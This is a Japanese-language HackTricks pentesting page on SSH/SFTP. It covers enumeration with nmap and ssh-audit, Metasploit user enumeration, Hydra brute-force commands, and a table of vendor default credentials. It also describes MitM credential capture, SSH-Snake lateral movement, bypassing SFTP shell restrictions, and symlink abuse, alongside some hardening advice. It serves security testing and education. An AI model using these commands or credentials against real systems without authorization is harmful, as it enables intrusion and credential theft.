22 - Pentesting SSH/SFTP

Reading time: 18 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

SSH (セキュアシェルまたはセキュアソケットシェル) は、未保護のネットワークを介してコンピュータに安全に接続するためのネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。

デフォルトポート: 22

22/tcp open  ssh     syn-ack

SSHサーバー:

  • openSSH – OpenBSD SSH、BSD、LinuxディストリビューションおよびWindows 10以降のWindowsに搭載
  • Dropbear – メモリとプロセッサリソースが限られた環境向けのSSH実装、OpenWrtに搭載
  • PuTTY – Windows向けのSSH実装、クライアントは一般的に使用されるが、サーバーの使用はまれ
  • CopSSH – Windows向けのOpenSSH実装

SSHライブラリ(サーバーサイドの実装):

  • libssh – SSHv2プロトコルを実装したマルチプラットフォームCライブラリ、PythonPerlおよびRのバインディングがある;KDEのsftpやGitHubのgit SSHインフラストラクチャで使用されている
  • wolfSSH – ANSI Cで書かれたSSHv2サーバーライブラリ、組み込み、RTOS、およびリソース制約のある環境向け
  • Apache MINA SSHD – Apache SSHD JavaライブラリはApache MINAに基づいている
  • paramiko – Python SSHv2プロトコルライブラリ

列挙

バナーグラビング

bash
nc -vn <IP> 22

自動化されたssh-audit

ssh-auditは、sshサーバーとクライアントの設定監査のためのツールです。

https://github.com/jtesta/ssh-auditは、https://github.com/arthepsy/ssh-audit/からの更新されたフォークです。

特徴:

  • SSH1およびSSH2プロトコルサーバーのサポート;
  • SSHクライアント設定の分析;
  • バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出;
  • キー交換、ホストキー、暗号化およびメッセージ認証コードアルゴリズムを収集;
  • アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱い/古いなど);
  • アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除);
  • セキュリティ情報を出力(関連する問題、割り当てられたCVEリストなど);
  • アルゴリズム情報に基づいてSSHバージョンの互換性を分析;
  • OpenSSH、Dropbear SSHおよびlibsshからの履歴情報;
  • LinuxおよびWindowsで動作;
  • 依存関係なし
bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

See it in action (Asciinema)

サーバーの公開SSHキー

bash
ssh-keyscan -t rsa <IP> -p <PORT>

弱い暗号アルゴリズム

これはデフォルトでnmapによって発見されます。しかし、sslcansslyzeを使用することもできます。

Nmapスクリプト

bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

  • ssh

ユーザー名、パスワード、プライベートキーのブルートフォース

ユーザー名列挙

OpenSSHのいくつかのバージョンでは、タイミング攻撃を行ってユーザーを列挙することができます。これを利用するためにmetasploitモジュールを使用できます:

msf> use scanner/ssh/ssh_enumusers

ブルートフォース

一般的なssh認証情報はこちらこちらおよび以下にあります。

プライベートキーのブルートフォース

使用できるsshプライベートキーをいくつか知っている場合... 試してみましょう。nmapスクリプトを使用できます:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

またはMSF補助モジュール:

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.

Known badkeys can be found here:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Weak SSH keys / Debian predictable PRNG

一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキー空間が生じ、ブルートフォース攻撃が可能になります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットは、ここで入手できます: g0tmi1k/debian-ssh

被害者のマシンの有効なキーを検索するために、ここを確認する必要があります。

Kerberos

crackmapexecは、sshプロトコルを使用して、kerberos経由で認証するために--kerberosオプションを使用できます。
詳細については、crackmapexec ssh --helpを実行してください。

Default Credentials

VendorUsernamesPasswords
APCapc, deviceapc
Brocadeadminadmin123, password, brocade, fibranne
Ciscoadmin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladminadmin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme
Citrixroot, nsroot, nsmaint, vdiadmin, kvm, cli, adminC1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler
D-Linkadmin, userprivate, admin, user
Dellroot, user1, admin, vkernel, clicalvin, 123456, password, vkernel, Stor@ge!, admin
EMCadmin, root, sysadminEMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc
HP/3Comadmin, root, vcx, app, spvar, manage, hpsupport, opc_opadmin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin
Huaweiadmin, root123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123
IBMUSERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customerPASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer
Junipernetscreennetscreen
NetAppadminnetapp123
Oracleroot, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2userchangeme, ilom-admin, ilom-operator, welcome1, oracle
VMwarevi-admin, root, hqadmin, vmware, adminvmware, vmw@re, hqadmin, default

SSH-MitM

もしあなたが被害者と同じローカルネットワークにいて、ユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、MitM攻撃を実行してその認証情報を盗むことを試みることができます:

攻撃経路:

  • トラフィックのリダイレクト: 攻撃者は被害者のトラフィックを自分のマシンに転送し、SSHサーバーへの接続試行を傍受します。
  • 傍受とログ記録: 攻撃者のマシンはプロキシとして機能し、正当なSSHサーバーを装ってユーザーのログイン情報をキャプチャします。
  • コマンドの実行と中継: 最後に、攻撃者のサーバーはユーザーの認証情報をログ記録しコマンドを実際のSSHサーバーに転送し実行し、結果をユーザーに返します。これにより、プロセスがシームレスで正当なものに見えます。

SSH MITMは、上記の説明通りのことを正確に行います。

実際のMitMをキャプチャするために、ARPスプーフィング、DNSスプーフィング、またはネットワークスプーフィング攻撃で説明されている他の技術を使用することができます。

SSH-Snake

発見されたSSHプライベートキーを使用してネットワークを横断し、各システムの各プライベートキーを新しいホストに利用する場合、SSH-Snakeが必要です。

SSH-Snakeは以下のタスクを自動的かつ再帰的に実行します:

  1. 現在のシステムで、任意のSSHプライベートキーを見つける。
  2. 現在のシステムで、プライベートキーが受け入れられる可能性のあるホストまたは宛先(user@host)を見つける。
  3. 発見されたすべてのプライベートキーを使用して、すべての宛先にSSH接続を試みる。
  4. 宛先に正常に接続できた場合、接続したシステムでステップ#1 - #4を繰り返す。

これは完全に自己複製し、自己伝播します -- そして完全にファイルレスです。

Config Misconfigurations

Root login

SSHサーバーがデフォルトでrootユーザーのログインを許可することは一般的であり、これは重大なセキュリティリスクをもたらします。rootログインを無効にすることは、サーバーを保護するための重要なステップです。この変更を行うことで、管理者権限を持つ不正アクセスやブルートフォース攻撃を軽減できます。

OpenSSHでRoot Loginを無効にする方法:

  1. sudoedit /etc/ssh/sshd_configでSSH設定ファイルを編集します。
  2. 設定を#PermitRootLogin yesから**PermitRootLogin no**に変更します。
  3. sudo systemctl daemon-reloadを使用して設定を再読み込みします。
  4. 変更を適用するためにSSHサーバーを再起動します: sudo systemctl restart sshd

SFTP Brute Force

SFTP command execution

SFTPセットアップでは、管理者がユーザーにリモートシェルアクセスを有効にせずにファイルを交換させることを意図している場合に一般的な見落としが発生します。ユーザーを非対話型シェル(例: /usr/bin/nologin)に設定し、特定のディレクトリに制限しても、セキュリティの抜け穴が残ります。ユーザーは、ログイン後すぐにコマンド(例: /bin/bash)の実行を要求することで、これらの制限を回避できます。これにより、不正なコマンド実行が可能になり、意図されたセキュリティ対策が損なわれます。

こちらからの例:

bash
ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

以下は、ユーザー noraj のための安全な SFTP 構成の例です(/etc/ssh/sshd_config – openSSH):

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

この設定では、SFTPのみを許可します:開始コマンドを強制することでシェルアクセスを無効にし、TTYアクセスも無効にし、さらにすべての種類のポートフォワーディングやトンネリングを無効にします。

SFTPトンネリング

SFTPサーバーにアクセスできる場合、一般的なポートフォワーディングを使用して、トラフィックをこの経由でトンネルすることもできます:

bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

sftp には "symlink" コマンドがあります。したがって、特定のフォルダに 書き込み権限 がある場合、他のフォルダ/ファイルシンボリックリンク を作成できます。おそらく chroot 内に 閉じ込められている ため、これは特に役に立たないでしょうが、作成した シンボリックリンクno-chroot サービス からアクセスできる場合(例えば、ウェブからシンボリックリンクにアクセスできる場合)、ウェブを通じて シンボリックリンクされたファイル開く ことができます。

例えば、新しいファイル "froot" から "_/" への シンボリックリンク を作成するには:

bash
sftp> symlink / froot

もしウェブ経由でファイル "froot" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。

認証方法

高セキュリティ環境では、単純なパスワードベースの認証の代わりに、キーベースまたは二要素認証のみを有効にすることが一般的な慣行です。しかし、しばしば強力な認証方法が有効になっていても、弱い方法が無効になっていないことがあります。よくあるケースは、openSSHの設定で publickey を有効にし、デフォルトの方法として設定するが、password を無効にしないことです。そのため、SSHクライアントの詳細モードを使用することで、攻撃者は弱い方法が有効になっていることを確認できます。

bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

認証失敗の制限が設定されていて、パスワードメソッドに到達する機会がない場合、PreferredAuthenticationsオプションを使用してこのメソッドを強制的に使用することができます。

bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

SSHサーバーの設定を確認することは、予期される方法のみが承認されていることを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。

設定ファイル

bash
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

References

HackTricks Automatic Commands

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする